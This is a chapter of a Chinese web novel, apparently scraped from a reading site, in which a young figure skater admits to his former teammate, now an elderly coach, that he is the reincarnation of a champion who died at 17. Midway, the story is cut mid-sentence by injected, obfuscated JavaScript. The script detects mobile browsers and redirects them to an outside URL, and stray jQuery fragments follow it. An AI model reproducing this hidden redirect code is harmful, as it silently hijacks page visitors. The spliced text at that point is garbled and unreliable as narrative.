默认冷灰
24号文字
方正启体

21.承认

作者:昭昭二三五本书字数:K更新时间:
    “那自由滑选择维瓦尔第的《四季冬》,短节目选择贝多芬的《暴风雨》?”孔锦城询问向鸿哲的意见,看向鸿哲没问题,孔锦城又看向简,他们的自由滑音乐选择的冬,到时候需要剪辑成四分十秒,适合自由滑表演。


    “没问题。”儿子到时候的比赛曲,向简义不容辞。


    他们这边已然确定,就是孔奇逸看着他们三两句确定下来一脸疑惑,这选曲没问题吗?


    他觉得这选曲并不适合,对小朋友来说这两首曲子都太深沉了。小红才13岁,这年纪应该选些活泼阳光些的曲子,表演起来会比较融入,他甚至觉得《小狗圆舞曲》都比《四季》适合。


    “真的不选《春》吗?”孔奇逸还是小小地提出了一点异议,《四季》里明明《春》和《夏》更适合小红这年纪,怎么独独选了《冬》?孔奇逸甚至怀疑他爸年纪大有点糊涂了,小红真的能演绎好《冬》吗?


    “维瓦尔第的冬第一乐章开头就是寒风凛冽的冻结感,小红能行吗?南方小孩怕是连下雪都没见过几回吧?要不然直接略去第一乐章,从第二乐章开始编辑?第二乐章给人温暖一点?”


    “也不一定……”听儿子说向鸿哲没体验过寒风凛冽的感觉,孔锦城意味不明地摇了摇头。


    他这会儿脑袋里两个小人一直在左右互搏,一个说相信科学这个世界上不存在转世重生这种事,一个说世界上未解之谜还有这么多,谁知道是否有灵魂的存在每个人离开后的灵魂归处到底是哪里。有那么一瞬间,他甚至想直接开口问,问他是不是向鸿哲,但又怕当他问出口后会惊扰什么发生什么意外……


    “爸,您问寺庙道观做什么?”


    向鸿哲一家回去后孔锦城就搜起了春申城的寺庙道观,还打听哪个庙哪个观灵验,看得他儿子一脸疑惑。


    “我觉得我的心理建设做得还不够!”也难怪老萧不敢教,这不仅是小孩有没有天赋进步快不快的问题了,这对他的心脏是极大的挑战,孔锦城甚至考虑着去报个禅修班,每周末去庙里安宁一下,顺便看能不能和大师讨论讨论金刚经聊一聊轮回的问题。


    孔奇逸:“???”他爸怎么又纠结起小红和向鸿哲像不像的事了?


    “您要不……还是去精神科看一下吧?”孔奇逸小心翼翼地提出,觉得他爸有点儿钻牛角尖了,且不提那些玄学的事,这像不像有什么关系吗?看小红站在冰场上的坚持与执着,他们做教练的只盼望他梦想成真。


    “我觉得您是想太多!您敢不敢直接问?”孔奇逸撇撇嘴,觉得他爸这三天两头地怀疑世界也不行。小年轻做事就是莽,他当机立断地拨通了江知夏的电话,说要找小红。


    “找鸿鸿吗?”


    “对!我爸有点事跟小红说!”看他爸手忙脚乱来抢他手机,孔奇逸反应飞快地一蹲,跑到离他爸最远的角落。


    “你找骂吗?”孔锦城都快气死了,他年纪大了,真动起来哪跑得过自个儿年轻力壮的儿子,听孔奇逸对着电话喊小红,孔锦城急得大喊:“没事没事!”


    “有事儿!”孔奇逸声音洪亮地一说,让小红找个没人的房间,他有点机密的事想问。


    电话另一头的向鸿哲显然是疑惑了一下,之后电话里传来了脚步声关门声,接着是向鸿哲的声音,问他有什么事。


    “没事没事!”孔锦城和儿子在客厅里绕着餐桌猫抓老鼠,可孔奇逸多灵活,这边一转一溜,愣是让孔锦城回回都抓个空。


    “小红啊~问你点玄学的事~”孔奇逸他当真问了:“你是向鸿哲吗?”


    这什么问题,向鸿哲听得一头雾水。


    “行了行了!赶紧把电话挂了!再问下去只会被人当有病!”孔锦城喘着气让他这脑回路离奇的儿子赶紧把电话挂了。


    孔奇逸那一百六十斤的反骨上来了,不挂!就是不挂!他还口无遮拦地跟向鸿哲说他和四十多年前那个花滑冠军向鸿哲很像,他爸怀疑他是那个向鸿哲的转世。


    孔锦城:“……”孔教练脸黑得不行,提起拖鞋就往孔奇逸头上甩,这问的什么问题?怕不是真被人当有病?


    然而电话另一头的回答坦坦荡荡,根本没想过否认:“我本来就是啊。”


    孔锦城愣在原地,大脑一片空白。


    “我就说这种事怎么可能……可能……”“哐当”一声,孔奇逸的手机砸落在地,他脑袋也宕机了。


    ……


    “小鸟啊,这事儿真的特吓人知道吗?”火锅店包厢,孔锦城替向鸿哲把熟了的肉堆盘子里,他一脸沧桑地叹气。


    他们对面,孔奇逸抱着他那死不瞑目的手机还在神游天外,时不时看一眼他爸,又时不时看一眼向鸿哲,脑中正在怀疑人生,这个世界是真实的吗?这个世界科不科学?还是说我是在做梦?


    彼时向鸿哲坦然承认,孔奇逸大脑宕机愣是卡了足足十多分钟,倒是他爸那会儿之前所有的纠结都丢到了脑后,整个人都精神了起来。


    儿子的手机黑屏断了通话 ,孔锦城自个儿重新打了一通,和向鸿哲联系上一开口就说他现在马上接他去吃火锅,把向鸿哲搞得一脸莫名。不过孔锦城行动迅速,拉着他那尚且大脑宕机的儿子风风火火地接人去了——他接人,孔奇逸开车。


    “小鸟是谁?”向鸿哲疑惑了一下。


    “哦,我、萧羽还有郑凉偷偷给你起的绰号。”叫了这么多年孔锦城都叫顺口了,这会儿才想起这绰号正主根本不知道。


    向鸿哲扬了扬眉,听到了另一个熟悉的名字,他迟疑了一下,才开口问:“郑凉……还好吗?”


    “挺好的,他后来去做了裁判员,一直国际滑联工作。”孔锦城又说郑凉定居在国外结婚生子:“老郑生了一对双胞胎,俩小女孩做的都是花滑相关事业。”


    孔锦城话中说是小女孩,实际上也是三十多岁的人了,向鸿哲听得恍恍惚惚,觉得孔锦城的用词怪怪的,三十多岁,对他而言都可以当阿姨了吧?


    听向鸿哲评价孔奇逸是“大叔的年纪”,孔锦城一愣,继而反应过来大笑。


    时间真的过去太久了,久到他早已走过半生两鬓双白,回忆起当初,他感慨着往事如烟,话里话外所提及的话题也早已不是年少时那会儿充满希望的梦想与未来。


    而向鸿哲的人生骤然陨落在那个对未来最有希望的17岁,重生而来,他尚且年少,在他眼里的30岁,年纪大得能当他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433081|200277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “叔”。


    “您才是我叔吧!”莫名其妙成了“大龄老人”的孔奇逸没忍住吐槽了一句。这世界已经不科学成这样,为什么他还会因为年龄被攻击?


    “怎么说话呢?”桌子底下孔锦城踹了儿子一脚,让他礼貌点。


    孔奇逸:“???”不是,爸,您真打算让我喊叔啊?


    就算孔奇逸真的喊,向鸿哲也拒绝接受,他年纪还小,才不想要这么个大侄子。


    看向鸿哲那嫌弃都溢于言表了,孔奇逸反而逗上了,开口一声“叔”闭口一声“叔”,向鸿哲实在受不了,说孔奇逸已经是老年人了,这么喊特奇怪。


    孔奇逸:“???”等等,小红啊,谁是老年人?我是老年人,那我爸算什么?老老年人吗?


    “也是老年人。”像是刚刚意识到一样,看着当年队友那苍老的脸,向鸿哲道。在他眼里,三十多岁和六十多岁都是老年人。


    孔奇逸:“……”


    看他爸大笑起来,孔奇逸也没忍住笑起来。


    还是个小孩啊!撇开光环与遗憾,这回重新认识,孔奇逸很快就意识到了,他还只是个小孩。


    他爸对于向鸿哲的那些遗憾与心痛孔奇逸从来不曾感同身受过,对他来说那位早早夭折的天才距离他太遥远,17岁的年龄死亡,他也不过是感慨一下他的年轻,然而此刻,那遥远的印象化身为具体的人站在他面前,孔奇逸突然就明白了那种遗憾与心痛。


    不过他爸似乎对向鸿哲的归来接受得很快,他显得特高兴,还和向鸿哲聊起了如今的花滑名将,倒是孔奇逸还没缓过来,这科学吗?这正常吗?这真不是在做梦吗?


    “大概五岁的时候,我爸爸妈妈带着我上冰,突然有了记忆。”对于转世重生这种玄学之事向鸿哲觉得没必要多想,他的人生重来,那就继续往前走。


    “我的记忆停留在那场爆炸,然后突然间自己就成了5岁小孩。”他说他刚有记忆那会儿,印象中自己能够三周跳四周跳,然而实际上未经训练的身体连滑行都做不好。


    “我的身体控制远远没有达到以前的水准。我也不知道现在的我在赛场上是否还有一争之力。”


    一切都要从头再来,技术的变化,时代的更迭对他而言是一次次冲击,那些从未说出口的话,此刻在曾经的队友面前展露,他的眼中带着些许对未来的迷茫。


    “改技术困难吗?”孔锦城问他。


    对花滑运动员来说,改变原来的技术是风险巨大成本极高且困难重重的一件事,他的身体已经形成的肌肉记忆,他的大脑已经有了根深蒂固的经验,改技术意味着从头再来,不仅是对抗身体本能,更是否认长久以来形成的经验,还要面临着失败带来的心理落差,再加上花滑运动员职业寿命短暂,每一个改技术的运动员无异于进行了一次疯狂的赌博,失败了就此沉没,成功了更高一层楼。


    “还好。”向鸿哲摇了摇头:“身体肌肉记忆还没形成,只是和自己的大脑对抗。”


    “这个技术一定要改吗?”孔奇逸有些疑惑地问。他以前的水平放现在也够用吧?


    “我想要金牌!”


    说这话的时候,他的眼里仿佛有火焰。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)